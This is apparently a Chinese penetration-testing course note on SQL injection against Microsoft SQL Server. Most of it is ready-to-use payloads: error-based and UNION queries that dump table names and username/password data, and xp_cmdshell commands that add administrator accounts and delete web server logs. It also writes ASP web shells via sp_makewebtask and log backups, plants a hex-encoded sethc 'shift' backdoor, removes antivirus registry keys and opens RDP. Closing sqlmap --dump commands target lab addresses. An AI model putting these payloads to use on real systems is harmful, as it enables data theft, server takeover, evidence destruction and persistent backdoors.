DAY14-MSSQL注入
● 一.SqlServer 常规操作
● 1.SqlServer简介
● 美国Microsoft公司推出的一种关系型数据库系统。
● 是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统
● 提供了基于事务的企业级信息管理系统方案
● 2.SqlServer 服务
● 重启服务命令
● services.msc
● 监听端口
1433
● TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
● 当我们关闭服务后,端口也将关闭
● 可能选择SqlServer搭建的网站
● 教育网站
● 政府网站
● 棋牌网站
● 游戏网站
● 数据库文件后缀
mdf和ldf成套,需要一起下载才能打开
● 数据文件
● cracer.mdf
● 日志文件
● cracer_log.ldf
● 3.分离和附加数据库
● 分离数据库
● 分离之后该数据库不在当前数据库中,但还在内存当中
● 附加数据库
● 将下载下来的数据库,添加到本地数据库中
● 4.常用语句
● 1.创建数据库
● create database [database_name]
● 2.删除数据库
● drop database [database_name]
● 3.查询表中所有内容
● select * from [student]
● 5.MSSQL数据库权限
● sa权限
相当于system权限
● 数据库操作
● 文件管理
● 命令执行
● 注册表读取
● db权限
相当于users-adminstrators之间的权限
● 数据库操作
● 文件管理
● public权限
相当于guest-users之间的权限
● 数据库操作
● 6.调用数据库代码
● 数据库代码
● <%
● set conn=server.createobject("adodb.connection")
● conn.open
● "provider=sqloledb;source=local;uid=sa;pwd=123123;database=database-name"
● %>
● 代码说明
● provider后面的不用管,照写;
● source 后面的可以是ip地址,这里我用的是本地的;
● sa是内置的用户,它的密码是你在安装的时候设置的;
● database后面是你要连接的数据库的名称,例:mydatabase
● 二.SqlServer 注入原理
● 1.漏洞挖掘
● 漏洞出现的位置
● 手工挖掘:
● 有参数传递
● 有数据库交互
● 我们可以控制
● 工具扫描
● Awvs
● burp
● appscan
● 2.判断语句
● 1.判断是否存在注入
● and 1=1
● and 1=2
● /
● -0
● 2.初步判断是否是MSSQL
● and user>0
● 3.判断数据库系统
● MSSQL
● and (select count(*) from sysobjects)>0
● Access
● and (select count(*) from msysobjects)>0
● 3.注入语句
● 1.注入参数是字符
● ' and [查询条件] and ''='
● 2.搜索时没过滤参数
● 'and [查询条件] and '%25'='
● 3.猜数表名
● and (select count(*) from [表名] )>0
● 4.猜字段
● and (select count(字段名) from [表名])>0
● 5.猜字段中记录长度
● and (select top 1 len(字段名) from [表名])>0
● 6.猜字段的ascii值
● Access
● and (select top 1 asc(mid(字段名,1,1)) from [表名])>0
● MSSQL
● and (select top 1 unicode(substring(字段名,1,1)) from [表名])>0
● 7.显错注入
● 1.数据库版本
● id=1 and 1=(select @@version)
● 2.当前使用的数据库
● id=1 and 1=(select db_name())
● 3.列数据库名称
● 获取第一个数据库名称
● and 1=(select top 1 name from master..sysdatabases where dbid>4)
● 获取第二个数据库名称
● and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> 'acublog')
● 直接全部获取数据库名称
● and 1=(select name from master..sysdatabases for xml path)
● 4.列表名
● 获取第一张表---threads
● ?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
● 获取第二张表---users
● ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name <> 'threads' )
● 直接获取全部表名
● and 1=(select name from sysobjects where xtype='u' for xml path)
● 5.列列名
● 获取表 users 的列名
● 获取第一列列名---uname
● ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name ='users'))
● 获取第二列列名---upass
● ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users')and name <> 'uname' )
● 直接获取全部列名
● ?id=1 and 1=(select name from syscolumns where id =(select id from sysobjects where name ='users') for xml path)
● 6.列数据
● 获取第一个用户名
● ?id=1 and 1=(select top 1 uname from users)
● 获取第一个用户名对应的密码
● ?id=1 and 1=(select top 1 upass from users)
● 8.union联合查询
● 查询版本和数据库名
● union select null,@@version,db_name(),null,null
● 查其他数据库的表名
● union select null,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),null,null
● 9.union 列表名
● 继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
● 第一个表名
● http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects wherename='password'))),null
● 第二个表名
● http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (selectid from sysobjects where name='password') and name not in (select top 1 namefrom syscolumns where id in (select id from sysobjects wherename='password'))),null
● 10.union 列列名
● 继续猜字段名(从0开始增加第二个top N的数字就可以遍历列的字段名了)
● 第一个列名
● http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
● 第二个列名
● http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects wherename='password'))),null
● 第三个列名
● http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 2 namefrom syscolumns where id in (select id from sysobjects wherename='password'))),null
● 11.union列数据
● ?id=1 union select null,username,password from password where username not in (select top 0 username from password)
● 三.SqlServer不同权限利用
● 1.权限判断语句
● 1.判断是否是系统管理员
● and 1=(select is_srvrolemember('sysadmin'))
● 2.判断是否是库权限
● and 1=(select is_srvrolemember('db_owner'))
● 3.判断是否为public权限
● and 1=(select is_srvrolemember('public'))
● 4.当前数据库名
● and 1=convert(int,db_name())
● and 1=(select db_name())
● 5.本地服务名
● and 1=(select @@servername)
● 6.判断是否有库读取权限
● and 1=(select HAS_DBACCESS('master'))
● 2.Sa权限的利用
● 1.注入用户密码
● 2.修改网站管理员密码
● 3.直接getshell
● 4.调用系统命令
● 创建系统管理员
● 操控文件
● 操控日志文件
● getshell
● 5.创建sqlserver管理
● 6.系统服务操作
● 7.注册表操作
● 创建后门
● 开启3389
● 3.MSSQL中的存储过程
● 图解过程
● 4.修改网站管理员密码
● 修改管理员表admin中admin用户的密码
● ;update admin set pass=‘e8dc763194f29433’ where admin=‘cracer’
● 修改之前把原来密码备份
● 通常在密码解不出的情况下选择使用该方法
● 5.直接getshell
08以后的服务器不再有该存储过程
● getshell命令
● id=1%20;exec%20sp_makewebtask%20%20%27 C:\Inetpub\wwwroot\8005\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--
● 修复上传
● ;EXEC sp_configure 'show advanced options',1; RECONFIGURE;
● ;exec sp_configure 'WebAssistant Procedures', 1; RECONFIGURE
● 6.调用系统命令xp_cmdshell
● 检测与恢复扩展存储
● 判断xp_cmdshell扩展存储是否存在
● and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')
● 判断xp_regread扩展存储过程是否存在
● and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
● 恢复
● ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
● ;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
● 7.xp_cmdshell执行命令
● 1.新建用户
● ;execmaster..xp_cmdshell 'net user test test /add'
● ;execmaster..xp_cmdshell 'net localgroup administrators test /add'
● 2.操控日志
● ;execmaster.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log '
● 3.getshell
● echo ^<%Execute(request("a"))%^>> d:\www\123.asp
● ;execmaster..xp_cmdshell'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^>> c:\WWW\233.aspx' ;--
● 4.操作注册表
● 删除注册表
● reg delete HKLM\SOFTWARE\McAfee /f
● 导入注册表
● Regedit /s d:\web\zh\hp.reg
● 导出注册表
● regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"
● 8.创建sqlserver管理
需要sa权限
● 添加sa权限用户test
● exec master.dbo.sp_addlogin test,password
● 删除sa权限用户test
● exec master.dbo.sp_addsrvrolemember test,sysadmin
● 9.系统服务操作
需要sa权限
● 停掉服务
● execmaster..xp_servicecontrol 'stop','schedule'
● 激活服务
● execmaster..xp_servicecontrol 'start','schedule'
● 10.注册表操作
● 启用存储过程
● exec sp_addextendedproc xp_regread,'xpstar.dll'
● ;exec master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00--
● exec sp_addextendedproc xp_regwrite,'xpstar.dll'
● 写入shift后门
● exec xp_regwrite 0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a, 'c:\windows\system32\taskmgr.exe'--
● 11.开启3389
● 直接开启3389
● ;exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--
● 逐步执行开启3389
可以用批处理文件直接执行
● ;exec master..xp_cmdshell 'sc config termservice start=auto'
● ;exec master..xp_cmdshell 'net start termservice'
● ;exec master..xp_cmdshell 'reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'
● 允许外部连接
● ;exec master..xp_cmdshell 'reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
● 改端口到80
● Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'
● 12.dbowner权限利用
● 1.判断数据库用户权限
● and 1=(select is_member('db_owner'));--
● 2.搜索web目录
● ;create table temp(dirnvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
● 3.更改ID的值,依次列出文件和文件夹
● ;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
● and(select dir from tempwhere id=1)>0
● 13.dbo权限getshell
● 找到web目录后,就可以写入一句话木马了
● ;alter database ssdown5 set RECOVERY FULL
● ;create table test(strimage)--
● ;backup log ssdown5 to disk='c:\test' with init--
● ;insert into test(str) values('<%excute(request("cmd"))%>')--
● ;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--
● ;alter database ssdown5 set RECOVERY simple
● 四.SqlServer 注入工具使用
● 穿山甲
● 萝卜头
● sqlmap
● 1.查询注入类型
● sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"
● 2.查询表名
● sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14" --tables
● 3.查询列名
● sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14" -T [admin] --columns
● 4.查询内容
● sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14" -T [admin] -C admin,password --dump
暂无评论
发表评论